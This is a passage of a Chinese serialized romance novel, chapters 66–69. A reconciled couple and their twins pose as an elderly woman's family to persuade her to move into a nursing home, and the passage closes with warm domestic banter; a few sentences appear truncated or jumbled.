赵叙平笑出声,勾起她一缕头发打着圈玩儿:“随你也挺好,毕竟大智若愚啊。” 她抬手就是一巴掌:“你少讽刺我!我知道自己几斤几两!” 挨了揍他倒像是舒坦了,笑得更开心:“随你真挺好的,傻人有傻福,太聪明未必是好事,高处不胜寒,我有时候就觉得挺冷。” 周静烟坐起来,啪啪往他身上一顿乱拍:“好哇,踩我一脚就算了,还要趁机夸自己!” 卧室里,两个人开心笑闹,窗外,初雪悄然而至。 周静烟小憩一会儿,醒来,睁眼便看见赵叙平高大的背影站在落地窗前。 她起身下床,走到他身旁,小声惊呼:“今年的第一场雪!” 赵叙平将她揽入怀中,笑容温暖如骄阳:“幸福?” 她重重点头:“幸福!” 他看着她,许久都没说话。 周静烟踮起脚尖,轻吻他下巴,扬着唇角问:“怎么啦?” 他转过身,抱住她,头搭在她肩上,嗅了嗅,闻到那股熟悉的淡香,瞬间心神安宁。 “你不在的这几年,每次下雪,我都特难受。外面冷,心里更冷,总想起咱俩那七年。七年,好像很短,眨眼就过去了。可你一走,那七年又变成漫长的连续剧,不断在我脑子里循环播放,一遍一遍,从第一集演到剧终,再从剧终回到第一集。 “那时候我总想,咱俩的故事,以悲伤开始,以悲伤结束,这让我心疼故事里的每一个人,甚至——甚至周知宇。如果伊伊没有出意外,从某种层面来看,至少周知宇比年轻的我更勇敢。初吻那个夜晚,我都没有勇气说爱你。 “如果咱俩的故事换成周知宇和伊伊,如果他看到伊伊从小在家里受苦,一定很早就想办法救她,带她走。从这一点看,我比不上周知宇。” 周静烟红着眼听完,摇了摇头。 “不能这样比较,每个人给出去的爱,都是独一无一,没法和别人相比。”她说。 赵叙平鼻酸,闭上眼:“可我就是后悔,后悔没早些救你,没早些对你说出心里话。我常想着,要是我早些行动,要是我勇敢一点,咱俩早在一起了,说不定我能早发现伊伊和周知宇不对劲,也能阻止悲剧发生。” 他的脸在她颈窝轻蹭。 周静烟*忽然感觉颈窝湿润,捧起他脸颊,才发现这人哭了。 “别想这些啦,有些事,或许就是命中注定。就像咱俩,相遇、相爱、分开,都是注定,重逢……不也是注定?至少现在很幸福,幸福就够了,足够了。” 她轻轻吻过赵叙平脸上的泪痕,看着这张英俊面庞,开心笑道:“上回张哥他们来,嫂子一个劲儿跟我夸你呢。” 他也笑了:“嫂子夸我什么?” 周静烟噘着嘴别过脸去:“不告诉你,省得你又得意!” 赵叙平知道她想说,故意点点头:“行。” 她立马憋不住了:“你就不好奇?” 赵叙平心想:好奇什么啊,左不过夸他长得帅个头高会赚钱,这些话,多少年前他都听腻了。 他摇摇头,逗她:“不好奇。” 周静烟急得拧他耳朵:“可是我想说!快问快问!” 他笑出声来,瞧着她实在可爱,亲她一口才说:“告诉我呗,我要听不到嫂子夸我那话,今晚都睡不着!” 周静烟仰脸,凑到他耳边:“嫂子夸你长得帅个头高会赚钱,还说你对我好,平时脾气暴,对我就特有耐心,特温柔。” “然后你一想,确实也这样?” “差不多吧,仔细想想,你对我,比对别人有耐心多了。” 赵叙平笑笑:“谁叫你是我的宝宝?” 周静烟往他怀里靠:“我要做你一辈子的宝宝。” 他吻吻她:“一辈子哪够,生生世世才行。” 看着窗外纷飞飘落的大雪,周静烟感觉自己仿佛置身于童话世界,眼眶微润,笑意从唇角蔓延开来。 夜里,两个孩子洗完澡,来到父母房间。 “明天周六,爸爸妈妈带你俩去看一个老奶奶。”周静烟说道。 云生在床中央打滚:“哪个老奶奶?” 赵叙平:“你俩不认识。咱们这次去,主要是跟老奶奶演一出戏。” 听雨瞪大那双清澈的漂亮眼睛:“演戏?我要演戏我要演戏!我长大了要当演员!” 赵叙平摸摸闺女脑袋,满眼都是爱:“行,咱家听雨长大了想干嘛干嘛,干哪行爸爸都支持你。真要当演员,你就是演技稀烂,爸爸也给你捧到一线去。” 周静烟想起最近上网刷到的一句评论,乐出声:“演技烂还强捧,这不就是网友说的‘资本喂——’咳,那什么吗?” 赵叙平眉心微皱:“这话在别人身上有道理,在我闺女身上可没道理。就算我闺女演技烂,但她漂亮啊!就她这颜值,放娱乐圈,那就是来拯救内娱的。” 周静烟憋着笑问:“你就不怕听雨长大颜值下滑?据说一般小时候好看的孩子,长大了就没那么好看。” 赵叙平抱起闺女亲一口:“咱家丫头可不是一般人,也不看看她爹是谁。我小时候就好看,长大了还不把你给迷得找不着北?” 周静烟啐他:“当孩子面说什么呢!” 他俊脸凑过去,咧嘴笑:“本来就是,当孩子面可不许说谎——” 他扭头看向闺女:“自个儿问问你妈,以前她是不是被你爹我的英俊外貌迷住了?” 听雨转过小脸蛋,睁大眼睛看着母亲:“是不是呀,妈妈!” 周静烟不好意思承认,可也不想对孩子撒谎,红着脸点了点头。 听雨拍着手笑起来:“爸爸是世界上最帅的男人!上次开完家长会,我们班好多女同学都被爸爸迷住了!” 赵叙平一脸暗爽,冲妻子扬扬下巴:“哎,哎,听见没,你得有点儿危机感,现在到处都是小情敌。” 在床上打滚的云生忽然一骨碌爬起来:“你们能不能说正事儿呀!我和姐姐要演什么戏?” 周静烟轻抚儿子脸庞:“那个老奶奶生病了,有些糊涂,会把别人当成她的家人。可是她的家人都不在这儿,她一个人住在老房子里,很危险,我和爸爸带你俩过去,咱们一起假装她的家人,劝她搬去养老院住,好不好?” 云生想了片刻,点头:“好。老奶奶的家人去哪儿了?为什么他们不自己来劝?” 周静烟不知该怎么回答。 赵叙平不愿骗孩子,沉思片刻,说:“她的家人都去世了,车祸没的。” 姐弟俩陷入沉默。 过了一小会儿,云生下床跑开:“我要画幅画送给那个老奶奶!等她住进养老院了,我要经常看她去!” 听雨扭头问母亲:“妈妈,我也想送老奶奶礼物,明天可以带我去商场逛一逛吗?” 孩子们心肠这般善良,周静烟欣慰得想哭:“当然,明天咱们一家都去买礼物,老奶奶收到礼物,一定很高兴。” 俩孩子被爷爷奶奶接回房睡觉。 深夜,周静烟躺在赵叙平怀里,久久难以入眠。 “咱家孩子真好。”她鼻子发酸,轻声感慨。 赵叙平托起她脸颊,温柔浅笑:“还是妈妈教得好。” 第67章 第67章【VIP】 整夜都在断断续续下雪。 清早醒来,周静烟拉开窗帘,望着外面银装素裹的世界,心像在泉水中浸润过,神清气爽。 她伸了个大大的懒腰,听见浴室门打开,扭头看去,赵叙平擦着头发从里面出来。 “不多睡会儿?”赵叙平直奔她身旁,搂着她肩膀,唇角勾起浅笑。 “睡够了。”周静烟指向窗外,“记那年咱们一起堆雪人吗?堆完雪人,还跟爸爸妈妈合影了呢!” 赵叙平顺着她的手往外望:“一辈子都忘不了。对了——” 他转身走向衣柜,在深处中间那个抽屉里,拿出两个相框。 “咱俩离了以后,我把它们放柜子里,一般不太敢看,只有特难受,特想你的时候,才拿出来看一看。” 周静烟目光落在两张照片上。 一张是多年前自己与赵叙平和他父母在雪中的合影,另一张,是多年前自己在商场的自拍。 “你把这张洗出来啦!”她惊讶,睁大眼睛望着他。 这张照片至今还在她朋友圈里,依然仅赵叙平可见。 赵叙平指尖点了点相框边缘:“咱俩离婚前,这个一直放在我办公室,工作烦了累了,心浮气躁的时候,就拿出来看一看。离婚我就收起来了。” 以前周静烟去过他办公室,印象中从没看到这照片,纳闷:“我怎么不记得你办公室里有这个?” “平时放抽屉里呢,真要一直摆桌上,还让不让我安心工作?”他笑着问。 周静烟笑靥如花:“那会儿我在朋友圈发这张自拍,是在跟你赌气,为了气你呢。” 赵叙平揉揉她的脸:“都怨我,跟你吵架,半夜出去喝酒,发朋友圈先气你。” 周静烟笑意止不住,低头羞涩开口:“当时挺生气的,现在想想,竟然感觉有点儿甜……” 她顿了顿,仰起脸,迎上他的炙热目光:“以前那七年,酸甜苦辣全都有。” 赵叙平亲亲她的脸:“再甜也没你甜。” 她心里高兴,嘴上不肯认,忍着笑啐他:“不许再说这种土味情话了,腻都腻死!” 赵叙平抓着她的手往自己心口放:“土是土了点儿,可全都是实话。你不知道自己有多甜,我知道。咱俩在柴房里亲那次,我就跟吃了蛋糕似的,还不是那种腻得发齁的蛋糕,软绵绵,甜而不腻,后来我自个儿偷摸回味,别提多后悔——当时怎么就把你给吓跑了?真该绑起来亲个够!” 周静烟面上浮起红霞,想骂他几句,又词穷不会骂人,娇声嗔怪:“你可真是,正经不过三秒!” 他笑笑,掌心轻落在她微微凸起的腹部。 “小崽子真碍事,你都不知道我有多难受。” “不是让你——”周静烟红着脸低头,声音越发的小,“不是让你碰了嘛。” 赵叙平长叹:“那也不尽兴啊。” 她羞得靠在他怀里,闭上眼:“让你碰就不错了,还挑三拣四!” 他仍是叹息,还摇了摇头:“这我就不得不忆往昔了,想当年,咱俩可是疯得没边儿,一晚上——” 周静烟倏地睁眼,抬手紧紧捂住他的嘴:“要点脸吧你!” 赵叙平轻扯开她的手,笑得邪肆:“屋里就咱俩,又没别人,以前多不要脸的事儿都做过,说说怎么了?” 周静烟扭头走开,捂着自己耳朵:“非要说就说吧,反正我不听!” 他追过来,挡在前头拦住去路,将她抱住,光做口型不出声,说了句什么,周静烟没明白,放下堵住耳朵的手,见他嘴唇还动着,却没出声,耐不住好奇心,问他说的什么,他摇头,仍是冲着她做口型。 周静烟急得跺脚:“快说快说,知道我好奇心重还总吊我胃口!” 赵叙平忍俊不禁,看她就像看个孩子,抬手点点她鼻尖:“你啊,心里什么也藏不住。” “刚才到底说的什么嘛!” 他薄唇凑近,在她耳畔轻柔开口:“谢谢你愿意回来,我现在很幸福,因为我最爱的你,很幸福。” 他将方才无声说过的话,对她说一遍,说完,捧起这张绯红的俏脸,对上她微微湿润的杏眼,吻了吻额头,笑着问:“开心么?” 周静烟想哭,鼻子酸得厉害,带着哭腔开口怨他:“干嘛老招我哭!我这人眼窝浅,动不动就流泪,你又不是不知道……” 他抱住她,手托着她后脑勺,将就哭,反给你靠,胸膛给你贴,天塌下来我扛着,我的烟烟哭一哭,怎么了?” “肉麻。” “喜欢吗?” “喜欢。” “那不就得了麻,你再喜欢我也不说,后来婚离了,媳妇儿跑了,悔得我肠子都青了。我一想,动动嘴皮子哄哄媳妇儿能,这些话我也要说,说了你顶多嫌烦,不说, 周静烟在他衣服上蹭蹭眼泪,心里暖烘烘,含泪的杏眼管不住的野猪一样,动不动就跑!” 这个比喻给赵叙平乐坏了:“你自个儿说的啊,我可没说。” 她轻哼,抽身去洗澡。 上午九点半,赵叙场。 一家人在商场逛了四十分钟,给钉子户老太太买了好些礼物。 回到车里,赵叙平交代俩孩子:“等会儿见到老奶奶,不许跟老奶奶说这些东西花多少钱买的,她要是问起来,就说不知道,爸爸妈妈付的钱,好像挺便宜。” 赵听雨问:“老奶奶是不是怕咱们多花钱?” 不等大人开口,赵云生抢在前头插话:“怕什么呀,咱家又不缺钱。” 赵叙平皱眉,抬手轻轻推一把儿子脑袋:“赵云生你一分钱没挣,口气倒是不小。” 周静烟冲儿子摇了摇头,语气比他温和多了:“云生,老奶奶节俭惯了,认为花钱多就是浪费,咱们给她买贵的买好的,是好心,她想帮着咱们省钱,也是好心。另外,咱家确实不缺钱,可你以后不能抱着这种想法浪费钱。” 赵云生被教训了,有些不高兴,噘起小嘴扭头冲着窗外。 赵叙平看见儿子这样就来气。几个月前在家办生日宴,这小子对别的同学称王称霸吆五喝六,等同学们一走,他刚教育儿子几句,就被父亲拦住。 想起这事儿,赵叙平边开车边跟周静烟倒苦水。 “回去你再劝劝咱爸,让他别老这么惯着云生,上次请同学来家里玩儿,看他霸道成那样,给我气得,一说他,我爸就说,‘你小时候也没好哪儿去!’” 周静烟轻叹,苦恼摇头:“我跟妈提过这个,妈也跟爸说了,爸爸答应得好好的,一到关键时候,又忘了……” 赵叙平停车等红灯,回头看一眼儿子,板着脸开口:“赵云生,虽然咱俩小时候差不多,不过我爸揍我可以比你爸揍你厉害多了。” 儿子扭脸,面无表情看着他:“那咋啦?你命不好呗。” “噗!”周静烟笑出声,捂着脸,肩膀不住地耸动。 赵叙平也笑了,不过是气笑的,冲儿子拧眉瞪眼,噎得说不出半句话。 儿子倒是“啧”一声,颇为不耐烦:“哎哟,您快开吧,这都绿灯了!” 赵叙平深吸一口气,见周静烟正盯着自己摇头,硬生生将到了嘴边的那句骂憋了回去。 一家四口来到钉子户老太太家门前,周静烟忽然紧张,捏了捏赵叙平的手。 “万一老太太今天不糊涂怎么办?咱们会不会被赶出去啊?” “见机行事,等会儿看看老太太什么反应,反应对,咱就演,反应不对,咱也别怯场,实话实说就行。”赵叙平握紧她的手,叩了叩门。 很快,门开了,白发老太太佝偻着腰站门口,看见他们四个,愣了片刻,拍手大声嚷道:“哎哟,怎么冷不丁齐刷刷来了!” 赵叙平和妻子对视一眼,彼此意会。 他冲老太太亲切笑了笑:“这不是怕您在家忙活着做饭,怪累的。” 老太太眼里藏不住欣喜,握住周静烟的手:“灵灵,大老远过来,累坏了吧?” 想起这位老人的遭遇,周静烟不禁心疼,含泪摇摇头:“妈,不累,看见您就高兴。” 老太太冲她笑笑,俯身一把抱住俩孩子,心肝儿似的搂着,泣不成声。 听雨抬起小手给老太太擦泪,记得父母交代过的话,吧唧往老太太脸上亲一口:“奶奶,我可想你了!我还给你带了礼物呢!” 云生也说道:“奶奶,我给你画了画!” 老太太抹着泪招呼大家:“进屋进屋,家里很久都没这么热闹了。” 俩孩子跟老太太你一句我一句聊着,赵叙平拿出给她准备的礼物,老太太嘴上嫌浪费,开心得笑不停,一会儿抱抱听雨,一会儿抱抱云生。 周静烟也加入进去,跟老太太唠起家常来。 “妈,您也瞧见了,这小子一看就不是个省油的灯。”她冲云生扬扬下巴。 “咱家小子多机灵啊,又高又帅,而且吧,瞧这面相就是聪明人。”老太太搂住云生,扭头看着听雨,“丫头也厉害,多漂亮的小机灵鬼!哎哟,你俩怎么这么像!以前可没这么像!” 周静烟心里一紧,生怕露馅,赶忙绕开话题:“这小子聪明是聪明,可也太淘了,我爸在家又老惯着他,我和他爸还不能管,一管我爸就要说我俩。” 周静烟趁机抛出这个烦恼,想听听这位老人的想法。 老太太笑眯眯看着她,问:“你爸多大年纪了?” 周静烟看向赵叙平,赵叙平替她答道:“她爸比您岁数小些,但也没小多少。” 老太太手一挥,笑容豁达:“嗐,咱们这个岁数,说不好听的,半截身子入了土,他惯着孩子,就让他惯呗,他还能惯多少年啊?这俩孩子要是跟着我长大,我也惯。” 周静烟叹气:“我小时候,他对我可凶了,管得那叫一个严,现在倒好,我管孩子还没他管我严,多说两句就要被他凶。” 老太太仍是笑眯眯:“隔辈亲隔辈亲,你以为老年人为什么跟孙辈亲?还不是因为孙辈身上有他们孩子的影子!年轻时,做父母的,责任多、担子重,为了生计累死累活,没多少好脾气留给孩子。年纪大了,日子轻松了,心情自然就好,对小孩儿可不就有耐心了?” 老人家的这番话,让赵叙平和周静烟沉默良久。 孩子们和老太太聊起别的,赵叙平看看时间,找了个机会插话:“妈,有个喜事儿还没告诉你呢。” 老太太一愣:“怎么着?” 他冲周静烟使了个眼色。 周静烟摸摸肚子,低头笑道:“妈,我又有了,预产期在来年四月。” 老太太又愣了愣,反应过来后,瞬间涌出眼泪,拍着手连声说好。 周静烟也不禁落泪,笑着劝道:“妈,我们都希望您健康平安活过百岁,住这儿实在太不安全了,您还是搬吧!我们给您联系了京州最好的一家养老院,平时我们不在您身边,您自己待着也寂寞,周围街坊邻里差不多都搬了,您要是出了什么事儿,没人发现,错过最佳救助时期,我们得后悔一辈子!” 她紧紧握住老太太的手。 老太太将另一只手合到她手上,眼含热泪,犹豫好一会儿,终于点了点头。 “那、那我要是去了养老院,你们可得常来看我呀!” 赵叙平和周静烟异口同声:“那肯定!” 老太太抹着泪看看孩子们:“也得带孩子来看我!” 周静烟笑着点点头。 赵叙平也笑了笑:“您放心。” 老太太摸摸俩孩子脑袋:“唉,我肯定也忍不住惯孩子,你俩可别拦着我。还能活多少天都不一定,就让我惯一惯他俩吧!” 赵叙平想起自己父母,眼眶泛红,鼻酸难忍,别过脸不让他们看见自己落泪。 “您就惯着吧,就当弥补小时候没惯过我的遗憾吧。”他点点头,轻声开口。 第68章 第68章【VIP】 老太太留赵叙平一家吃午饭,赵叙平看看妻子眼色,见她点了点头,便答应下来。 老太太要亲自下厨给他们做一大桌子菜,周静烟赶忙阻止,好说歹说,总算说通了,老太太同意出去吃。 赵叙平在饭店订了间包厢,带着老太太下楼。 “哎哟,你这车可真大,不少钱吧?”老太太坐进车里,这摸摸那望望,神色拘谨。 赵叙平笑道:“钱的事儿您就甭为我操心了。” 老太太看着周静烟叹气:“这小子花钱没个数,灵灵,平时你管着他点儿,钱要花在刀刃上。” 周静烟点头应道:“行,您放心,我管着他。” “看着你们越来越好,我也就放心了。”老太太仰头靠着椅背,闭眼休息。 到达饭店门口,周静烟伸手去扶老太太,老太太赶忙摆手,看向赵叙平:“你快扶着灵灵,人家怀着孩子呢,别看我一把老骨头,腿脚利索着呢!” 周静烟笑笑:“妈,我肚子也没多大,能走,而且我怀前面两个那会儿,挺着肚子每天散步五公里,走得还挺快呢。” 老太太:“不行,越是这样,越不能掉以轻心!” 赵叙平走到她俩中间,一手搀着一个:“你俩我都照顾,这样行了吧?” 老太太扭头看孩子:“那——那他俩呢?” 赵叙平:“他俩手拉手走咱们前面。” 赵听雨牵起弟弟的手,绕到大人前面走。 老太太笑弯了眼,冲着他俩背影竖起拇指:“真棒!” 赵听雨扭头,甜甜地笑了笑:“奶奶,您慢点儿走,别摔着!” “哎,奶奶听你的,走慢点儿。” 赵云生也扭头看着她:“奶奶,我妈妈说过,老人摔不得!” 老太太连忙点头:“那是那是,你俩放心,奶奶肯定注意,就算是为了你俩,奶奶也得保重身体。” 进到包厢,老太太惊得瞪眼。 “这么大!比咱家都大!”老太太转身就走,“不行,这儿肯定很贵,走走走,咱不在这儿吃,换家便宜的!” 赵叙平拉住她,笑容无奈,只得撒谎:“没多少钱,妈,来都来了,就在这儿吃吧。” 周静烟灵机一动:“妈,这家确实不便宜,不过您别担心,他单位能报销。” 老太太眉头这才舒展,笑着问赵叙平:“单位真给报销?” 赵叙平忙不迭点头:“给报给报,您就安心吃吧。” 老太太认真强调:“那咱们吃完可别忘了让饭店开发票!” 赵叙平憋着乐:“我记着呢,回回都开,忘不了。” 他拉着老太太坐下,将菜单递给她:“想吃什么您只管点。” 老太太打开菜饭迅速翻看,眉头越皱越深:“这也太贵了!红烧肉就红烧肉,还叫个‘宫廷红烧肉’,小馆子一份顶天也就四十块钱,在这儿二百八!怎么着,宫廷的红烧肉吃了能长寿?” 周静烟被逗笑,捂着嘴劝:“妈,您就尝尝这宫廷的和普通的有什么区别嘛。” 老太太长叹一声,正襟危坐,严肃地看着赵叙平。 “这我可得好好说说你。出来吃饭,虽然单位给报,可也不能因为不是花自个儿的钱,就这么铺张吧!花单位的钱,说到底,最后还不是花国家的钱,你、你这往严重了说,属于是贪污腐败!” 赵叙平与妻子面面相觑,心想自己每年交税的钱都不知道为国家做了多大贡献,怎么还成贪腐分子了? 他浅浅叹气:“妈,我知道错了,以后不这样了,这顿我自己付钱。” 老太太站起来,拉开斜挎包拉链,从里面掏出一个破旧钱夹:“你的钱省下来养老婆孩子,今天这顿,妈来请!” 赵叙平一愣,立马摇头:“那不行,这儿太贵,您请不了。” 老太太:“请不了这家,还请不了小馆子?走走走,开回去,咱家附近有个小饭馆儿,口味地道价格便宜,关键还干净卫生,咱们三大两小,一顿要不了二百块!” 赵叙平还想阻拦,周静烟起身挽起老太太胳膊,冲他笑道:“妈说得我都想吃,你就别犟了,咱们一块儿尝尝去。” 赵叙平心里琢磨,这么耗下去也浪费时间,不如顺着老人家的意,到时候自己偷摸买单就成。 一家人又随老太太来到。 馆子的确不大,堂里总共六张桌,他们赶到时, 赵叙平观察一番,这家面积虽小,环境确实如老太太所说,干净整洁,开放式后厨,大堂能直接看到厨房。厨师是一对中年男女,戴着厨师帽和口罩。灶台上的食材看着很新鲜。 赵,夸道:“妈,您找的这家真不赖。” 老太太又从包里掏出钱夹,拿到他宜,妈请得起。今儿你们点菜。” 赵叙平:“您推荐几道呗。” 老太太将仅有一页的菜单递给周静烟:“灵灵,你看看想吃什么,都是些家常菜,味道都不错。” 周静烟点了几样清淡的,赵叙平点了几样孩子爱吃的,抬头问老太太:“您真不点?” 老太太摇头:“年纪大了,胃不好,吃不了多少,跟着你们随便吃吃就行。上回你给我买的点心,好一阵儿才吃完,以前可千万别买了。” 赵叙平还是给她点了三道易消化的菜。 吃了一会儿,他起身说要出去买个东西,刚迈步,被老太太拽回来。 “想偷摸上前台买单是吧?”老太太的位置背对着前台,她扭头望了望那,又看向赵叙平,“说好了,今儿我请,你要是把单买了,我可就不去养老院住了!” 赵叙平吓得赶紧坐回来:“得得得,不跟您抢。” 这顿吃完,好几盘菜都有剩,老太太边打包边念叨着不能浪费,赵云生等得不耐烦,在椅子上东倒西歪,唉声叹气:“剩菜别要啦,我们家不吃剩菜。” 赵叙平抬手稍稍用力推一下儿子肩膀,眉头紧锁瞪了瞪他,扭头对老太太说:“妈,这些带回去再吃一顿,晚饭要是还有剩,就别要了,隔夜菜不健康。” 老太太点头答应:“行,行,别管,我知道。” 听她这敷衍的语气,赵叙平明白自己这话纯属白说,不过明天一早就有人来帮忙收拾东西,送她去养老院,以后在养老院,饮食怎么都要健康些,想到这,赵叙平便不再担忧。 送老太太回家,赵叙平又交代了几件事——在家得注意什么,去了养老院得注意什么,还把自己和周静烟的手机号都存进她手机里。 “以后有什么事儿,随时给我俩打电话,在养老院,谁要是欺负您,儿子儿媳赶过去帮您薅头发。”说完,他自己都乐了。 老太太和周静烟也忍不住笑起来。 赵云生摸摸自己脑袋:“奶奶,要是欺负你那人是个寸头,就没法薅头发了,我教您一套拳法,您把这套拳学会了,以后在养老院称王称霸!” 赵叙平一把捞起儿子,训道:“老实待着吧你!” 他转脸冲老太太扬扬下巴:“妈,我们还有事儿,先走了,明早有人来接您,您跟着去就成,到地方安顿下来给我打电话,缺什么尽管说。” 老太太从钱夹里掏出两百块现金,俩孩子一人一张,周静烟赶忙从孩子手里抽走,没等还回去,老太太板着脸警告:“不收我可不去养老院啊,疼疼自己孙子孙女怎么啦?一年到头也见不着几面,给红包还不收,怎么着,不想认我这个奶奶?” 赵叙平还想说什么,老太太挥挥手:“你带孩子在外头等着,我跟灵灵聊几句。” 老太太将周静烟拉进屋,关上大门,牵着周静烟走到客厅,上下打量她好几遍。 周静烟被瞧得不好意思:“妈,您有什么事儿交代我?” 老太太啧啧称赞:“俊呐,模样真俊!” 周静烟摸了摸微烫的脸颊:“我吗?” 老太太:“那小子可真有福气,娶了这么个好媳妇儿,模样好,性格好,心肠好,哪哪都好!” 周静烟红着脸摇头:“我什么都一般般,倒是他,样样都拔尖。” 老太太:“你哪里一般?面相就是有福之人!配他绰绰有余!俩孩子龙凤胎吧?” 周静烟点头,过几秒忽地愣住,反应过来:“您——” 老太太若有深意笑了笑:“是姐弟还是兄妹?” 周静烟睁大眼睛,还没从惊讶中缓过来:“姐、姐弟……” 老太太握住她的手,下巴冲门口一扬:“那小子来好几回了都!我有时候犯糊涂,有时候清醒,赶上清醒的时候,就陪着他演。据我观察,他这人吧,真是个好爷们儿,踏踏实实,接地气儿,不爱整那些虚的,这种男人才靠得住!” 周静烟心虚得声音发颤:“您、您今天一直在演呀!” 老太太眨眨眼:“演技不错吧?” 周静烟感慨万分,笑道:“演技好得应该拿奖!” 老太太高兴极了,轻轻拍了拍她手背,眼含热泪:“好好养胎,孩子生下来,给我发消息报个喜。平时忙你们的,别管我,有空了,想起我来了,愿意来看看,就上养老院陪我坐坐。走吧,这是咱俩的秘密,别跟那小子说,我倒想看看以后他怎么演!” 周静烟比老太太先落泪,点点头,抱抱她:“您想我了就给我发消息,我看到一定立马回复!” 老太太送她出门,捏了捏俩孩子脸蛋,嘱咐他俩要听话,最后严肃看着赵叙平:“对你媳妇儿好,听到没有?” 赵叙平认真点头:“谨记在心。” 老太太冲他们挥挥手,含泪目送。 出了楼道,赵叙平迫不及待问:“咱妈跟你说什么了?” 周静烟笑出声:“还没出戏呀!” 赵叙平:“快跟我说说。” 周静烟停下脚步,看了他一小会儿,在他耳畔轻声开口:“咱妈说,你要是对我不好,她要从养老院跑回来薅你头发!” 赵叙平乐得摸摸自己脑袋:“那我可得把头发留长点儿,方便她薅。” 第69章 第69章【VIP】 元旦这天,章芝纭断断续续织了两个月的毛衣终于完工。 她拿着这件成品来到楼上书房。 “老赵,别看了,赶紧试试我给你织的这件毛衣!” 赵天成闻声,合上书,起身接过妻子递来的衣服,往身上一套,笑着问:“怎么样,我穿着不错吧?” 章芝纭替他理了理衣服,扯扯袖子,拽拽衣摆,上下打量几番,点头称赞:“确实合身又好看,静烟教我的呢,她在这方面啊,可真成了行家!” 赵天成满眼宠溺看着妻子,笑道:“名师出高徒,老师会教,学生好学,这才有了这件完美的成品。” 章芝纭斜眼瞥他,皱着脸摇摇头:“越老越肉麻,成天跟个马屁精似的!” 赵天成:“还不是跟你儿子学的,他哄静烟那一套套的,我都没学到精髓!” 章芝纭乐得捂嘴:“你年轻那会儿,也不爱说肉麻话,其实咱儿子挺像你的。他啊,生怕静烟不要他,使出浑身解数开屏,就为了讨静烟一个笑脸。” 赵天成坐回椅子上,想了想,说道:“以前觉着他俩不合适,现在看来,绝配!叙平性子躁,静烟稳稳当当,叙平脾气硬,静烟温柔似水,一物降一物,别的女人治不了他,静烟一治一个准。” 章芝纭对儿媳妇满意得不得了,乐开花了都:“快把毛衣脱下,我拿去给静烟瞧瞧,让她点评一下。” 章芝纭拿着毛衣走出书房,本想去儿媳妇房间,听见客厅传来孩子们的笑声,站走廊上往下望,看见儿子陪着孙子孙女玩儿,儿媳站在一旁。 画面温馨得令章芝纭眼热,她仰起脸,长长舒了一口气,心里仿佛燃起一团火,在这寒冷的冬季,温暖如春。 刚出电梯,章芝纭急忙开口:“静烟,我给你爸织的毛衣完工了,快来瞧瞧,有没有地方需要完善。” 周静烟接过毛衣,仔细看了看,笑着夸道:“妈妈,已经完美到没有进步的空间了。” 章芝纭激动万分,又有些害羞,摸摸自己脸颊:“哎哟,你这夸得我都快飘了,头一回织出件成品来,哪有这么好!” 赵叙平搂着媳妇笑道:“静烟说好,那就是好,你得相信静烟的眼光。” 赵听雨蹦跶着拍手:“奶奶织得真好看!给我也织一件吧!” 章芝纭抱起孙女,目光慈爱:“还能少得了你的?奶奶给你织着披肩呢,可漂亮了,有花有草,还有小太阳和小爱心,就是太复杂了,织得慢,至少还要一个星期才能完工。” 孙女在她脸上吧唧亲一口:“谢谢奶奶,奶奶辛苦了!” 章芝纭连着亲了孙女好几口:“咱家听雨这么可爱,小嘴这么甜,奶奶多辛苦都情愿!” 赵云生嘀咕一句“马屁精”,吃姐姐的醋,又抹不开面儿跟她争宠,低着头拽了拽奶奶裤腿,小声问:“那我的呢?” 章芝纭放下孙女,抱起孙子:“姐姐有了,你还能没有?咱家主打的就是一个公平,一碗水端平。” 赵叙平举了举手,侧着头提出异议:“这话我可不同意啊。您对他俩倒是公平,这碗水,在我和静烟*这儿怎么就端不平?回回都没人向着我,你们一大家子其乐融融,我成外人了。” 章芝纭瞬间冷脸:“有意见啊?” 赵叙平笑起来,摇摇头:“没有没有,我就这么一说。” 午饭后各自回房休息。 赵叙平坐在沙发上看书,身旁多了个人,还未转脸去瞧,他便扬起唇角,抬手揽住妻子肩膀。 “洗发水怎么这么好闻?沐浴露也好闻。” 每次妻子洗完澡,他都要搂着嗅个不停,这回也不例外,嗅嗅这,嗅嗅拿,搂着她不撒手,脸也贴在她身上到处挪。 周静烟推开他一点儿,掌心捂住他的脸,笑吟吟:“能不能别回回都跟狗似的,嗅来嗅去,没完没了!” 赵叙平抬头,正儿八经看着她:“我就是狗,狼狗,野狗,疯狗。” 周静烟噗嗤一乐,推推他肩膀:“你还知道呀!” 他腆着脸笑道:“这点儿自知之明还是有的。” 周静烟:“既然是狗,那就闻闻我肚里的是丫头还是小子。” 赵叙平将脸轻轻贴她肚子上,闻了闻,抬头:“我估摸着吧——不是丫头,就是小子。” “,眨了眨眼,问,“你希望是丫头还是小子?” 赵叙平乐了:“你问的不也,再来一小子,还让不让我活!” 周静烟憋着不让自己大笑,满脸幸灾乐祸:“爸爸昨天还跟我说呢,说云生就是翻版的你,只不过,升级了!他估计云生以后比你还能闹腾。” 赵后,现在还不够明显么?” 周静烟脑子里冒出个想法,好奇问道:“如果以后云生喜欢的女人,你特别讨厌,会不会阻拦他俩?” 赵叙平笑笑:儿,没人拦着还没什么,一旦出手阻挠,俩再说了,这小子像我,我瞧不上的女人,他,在我这儿肯定能过关。” 周静烟:“我可真好奇他会选择什么样的女人。” 赵叙平思忖片刻,亲了亲她:“没准儿跟你差不多。你想啊,我脾气硬,你性子软,这小子跟我一个类型,八成也得让一个跟你性格相像的女人治住。” 他顿了顿,侧头笑眯眯瞧着她:“我也好奇,你以后会怎么跟儿媳妇相处?” 周静烟认真想了一会儿,说:“看看儿媳妇什么样吧,她要是好相处,我就像咱妈对我那样对她,要是不好相处,我可不跟他俩一块儿过,咱们自己住。” 赵叙平点头:“你在哪我在哪,儿媳妇敢对你不好,我撵她滚蛋,连儿子一起撵。” 周静烟:“别光说儿媳妇,说说女婿,你希望听雨找个什么样的?” 赵叙平叹了口气,转身靠着沙发,满脸惆怅:“找个什么样的?我希望她谁也别找!找谁我都不放心。” 周静烟头枕着他的肩,笑着问:“你想你闺女在家当老姑娘呀?” 赵叙平:“老姑娘怎么了?找不着靠得住的好男人,我宁愿她一辈子待在家。我的闺女,我自个儿宠。” 周静烟想起最近追的连续剧:“万一她年纪轻轻爱上个黄毛,你——” 赵叙平忽地挺直腰板儿,抬手一挥:“我闺女,不可能爱上黄毛!” 周静烟就喜欢逗他:“万一嘛,不怕一万,就怕万一!人和人之间,哪有什么是绝对的,说不定无意中就碰撞出爱的火花了。” 